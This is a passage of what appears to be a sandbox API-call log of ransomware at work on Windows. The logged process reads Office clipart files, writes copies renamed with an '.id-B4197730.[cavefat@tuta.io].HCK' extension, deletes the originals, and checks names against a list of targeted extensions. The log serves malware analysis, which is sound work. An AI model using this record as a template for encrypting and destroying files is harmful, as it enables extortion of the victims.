office\\root\\clipart\\pub60cor\\j0300862.wmf")) returned 0x220 [0172.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0300862.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0300862.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.165] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.165] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0300862.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0172.171] GetLastError () returned 0x0 [0172.171] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4584, lpOverlapped=0x0) returned 1 [0172.172] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4590, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4590, lpOverlapped=0x0) returned 1 [0172.173] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.173] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.174] SetEndOfFile (hFile=0x2fc) returned 1 [0172.176] CloseHandle (hObject=0x2fc) returned 1 [0172.179] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.179] SetEndOfFile (hFile=0x394) returned 1 [0172.181] CloseHandle (hObject=0x394) returned 1 [0172.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0300862.wmf")) returned 1 [0172.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF") returned 68 [0172.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF") returned 68 [0172.183] lstrlenW (lpString=".doc") returned 4 [0172.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.183] lstrlenW (lpString=".docx") returned 5 [0172.183] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.183] lstrlenW (lpString=".pdf") returned 4 [0172.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.183] lstrlenW (lpString=".xls") returned 4 [0172.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.183] lstrlenW (lpString=".xlsx") returned 5 [0172.183] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.183] lstrlenW (lpString=".ppt") returned 4 [0172.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF") returned 68 [0172.184] lstrlenW (lpString=".zip") returned 4 [0172.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.184] lstrlenW (lpString=".rar") returned 4 [0172.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.184] lstrlenW (lpString=".bz2") returned 4 [0172.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.184] lstrlenW (lpString=".7z") returned 3 [0172.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF") returned 68 [0172.184] lstrlenW (lpString=".dbf") returned 4 [0172.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF") returned 68 [0172.184] lstrlenW (lpString=".1cd") returned 4 [0172.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF") returned 68 [0172.184] lstrlenW (lpString=".jpg") returned 4 [0172.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF") returned 68 [0172.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF") returned 68 [0172.184] lstrlenW (lpString=".doc") returned 4 [0172.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.184] lstrlenW (lpString=".docx") returned 5 [0172.184] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.184] lstrlenW (lpString=".pdf") returned 4 [0172.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.184] lstrlenW (lpString=".xls") returned 4 [0172.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.184] lstrlenW (lpString=".xlsx") returned 5 [0172.184] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.184] lstrlenW (lpString=".ppt") returned 4 [0172.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF") returned 68 [0172.184] lstrlenW (lpString=".zip") returned 4 [0172.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.184] lstrlenW (lpString=".rar") returned 4 [0172.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.184] lstrlenW (lpString=".bz2") returned 4 [0172.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.184] lstrlenW (lpString=".7z") returned 3 [0172.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF") returned 68 [0172.184] lstrlenW (lpString=".dbf") returned 4 [0172.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF") returned 68 [0172.184] lstrlenW (lpString=".1cd") returned 4 [0172.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF") returned 68 [0172.184] lstrlenW (lpString=".jpg") returned 4 [0172.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.185] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.185] lstrlenW (lpString="J0301432.WMF") returned 12 [0172.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.189] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=19962) returned 1 [0172.189] CloseHandle (hObject=0x368) returned 1 [0172.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301432.wmf")) returned 0x220 [0172.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301432.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0172.199] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.200] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301432.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.203] GetLastError () returned 0x0 [0172.203] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4dfa, lpOverlapped=0x0) returned 1 [0172.205] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0172.206] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.206] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.206] SetEndOfFile (hFile=0x394) returned 1 [0172.207] CloseHandle (hObject=0x394) returned 1 [0172.209] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.209] SetEndOfFile (hFile=0x2fc) returned 1 [0172.212] CloseHandle (hObject=0x2fc) returned 1 [0172.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301432.wmf")) returned 1 [0172.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF") returned 68 [0172.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF") returned 68 [0172.216] lstrlenW (lpString=".doc") returned 4 [0172.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.217] lstrlenW (lpString=".docx") returned 5 [0172.217] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.217] lstrlenW (lpString=".pdf") returned 4 [0172.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.217] lstrlenW (lpString=".xls") returned 4 [0172.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.217] lstrlenW (lpString=".xlsx") returned 5 [0172.217] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.217] lstrlenW (lpString=".ppt") returned 4 [0172.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF") returned 68 [0172.217] lstrlenW (lpString=".zip") returned 4 [0172.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.217] lstrlenW (lpString=".rar") returned 4 [0172.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.217] lstrlenW (lpString=".bz2") returned 4 [0172.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.217] lstrlenW (lpString=".7z") returned 3 [0172.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF") returned 68 [0172.217] lstrlenW (lpString=".dbf") returned 4 [0172.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF") returned 68 [0172.217] lstrlenW (lpString=".1cd") returned 4 [0172.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF") returned 68 [0172.217] lstrlenW (lpString=".jpg") returned 4 [0172.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF") returned 68 [0172.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF") returned 68 [0172.217] lstrlenW (lpString=".doc") returned 4 [0172.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.217] lstrlenW (lpString=".docx") returned 5 [0172.217] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.217] lstrlenW (lpString=".pdf") returned 4 [0172.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.217] lstrlenW (lpString=".xls") returned 4 [0172.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.217] lstrlenW (lpString=".xlsx") returned 5 [0172.217] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.217] lstrlenW (lpString=".ppt") returned 4 [0172.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF") returned 68 [0172.217] lstrlenW (lpString=".zip") returned 4 [0172.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.217] lstrlenW (lpString=".rar") returned 4 [0172.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.217] lstrlenW (lpString=".bz2") returned 4 [0172.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.217] lstrlenW (lpString=".7z") returned 3 [0172.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF") returned 68 [0172.218] lstrlenW (lpString=".dbf") returned 4 [0172.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF") returned 68 [0172.218] lstrlenW (lpString=".1cd") returned 4 [0172.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF") returned 68 [0172.218] lstrlenW (lpString=".jpg") returned 4 [0172.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.218] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.218] lstrlenW (lpString="J0304861.WMF") returned 12 [0172.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.221] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=11512) returned 1 [0172.221] CloseHandle (hObject=0x384) returned 1 [0172.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304861.wmf")) returned 0x220 [0172.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304861.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0172.231] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.231] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304861.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.238] GetLastError () returned 0x0 [0172.238] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2cf8, lpOverlapped=0x0) returned 1 [0172.240] WriteFile (in: hFile=0x384, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2d00, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2d00, lpOverlapped=0x0) returned 1 [0172.240] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.241] WriteFile (in: hFile=0x384, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.241] SetEndOfFile (hFile=0x384) returned 1 [0172.242] CloseHandle (hObject=0x384) returned 1 [0172.245] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.245] SetEndOfFile (hFile=0x388) returned 1 [0172.249] CloseHandle (hObject=0x388) returned 1 [0172.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304861.wmf")) returned 1 [0172.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF") returned 68 [0172.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF") returned 68 [0172.253] lstrlenW (lpString=".doc") returned 4 [0172.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.253] lstrlenW (lpString=".docx") returned 5 [0172.253] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0172.253] lstrlenW (lpString=".pdf") returned 4 [0172.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.253] lstrlenW (lpString=".xls") returned 4 [0172.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.253] lstrlenW (lpString=".xlsx") returned 5 [0172.253] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0172.253] lstrlenW (lpString=".ppt") returned 4 [0172.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF") returned 68 [0172.253] lstrlenW (lpString=".zip") returned 4 [0172.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.253] lstrlenW (lpString=".rar") returned 4 [0172.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.253] lstrlenW (lpString=".bz2") returned 4 [0172.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.253] lstrlenW (lpString=".7z") returned 3 [0172.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF") returned 68 [0172.253] lstrlenW (lpString=".dbf") returned 4 [0172.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF") returned 68 [0172.253] lstrlenW (lpString=".1cd") returned 4 [0172.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF") returned 68 [0172.253] lstrlenW (lpString=".jpg") returned 4 [0172.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF") returned 68 [0172.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF") returned 68 [0172.254] lstrlenW (lpString=".doc") returned 4 [0172.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.254] lstrlenW (lpString=".docx") returned 5 [0172.254] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0172.254] lstrlenW (lpString=".pdf") returned 4 [0172.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.254] lstrlenW (lpString=".xls") returned 4 [0172.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.254] lstrlenW (lpString=".xlsx") returned 5 [0172.254] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0172.254] lstrlenW (lpString=".ppt") returned 4 [0172.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF") returned 68 [0172.254] lstrlenW (lpString=".zip") returned 4 [0172.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.254] lstrlenW (lpString=".rar") returned 4 [0172.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.254] lstrlenW (lpString=".bz2") returned 4 [0172.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.254] lstrlenW (lpString=".7z") returned 3 [0172.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF") returned 68 [0172.254] lstrlenW (lpString=".dbf") returned 4 [0172.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF") returned 68 [0172.254] lstrlenW (lpString=".1cd") returned 4 [0172.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF") returned 68 [0172.254] lstrlenW (lpString=".jpg") returned 4 [0172.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.254] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.254] lstrlenW (lpString="J0309585.JPG") returned 12 [0172.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309585.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.259] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=39563) returned 1 [0172.259] CloseHandle (hObject=0x368) returned 1 [0172.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309585.jpg")) returned 0x220 [0172.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309585.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309585.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 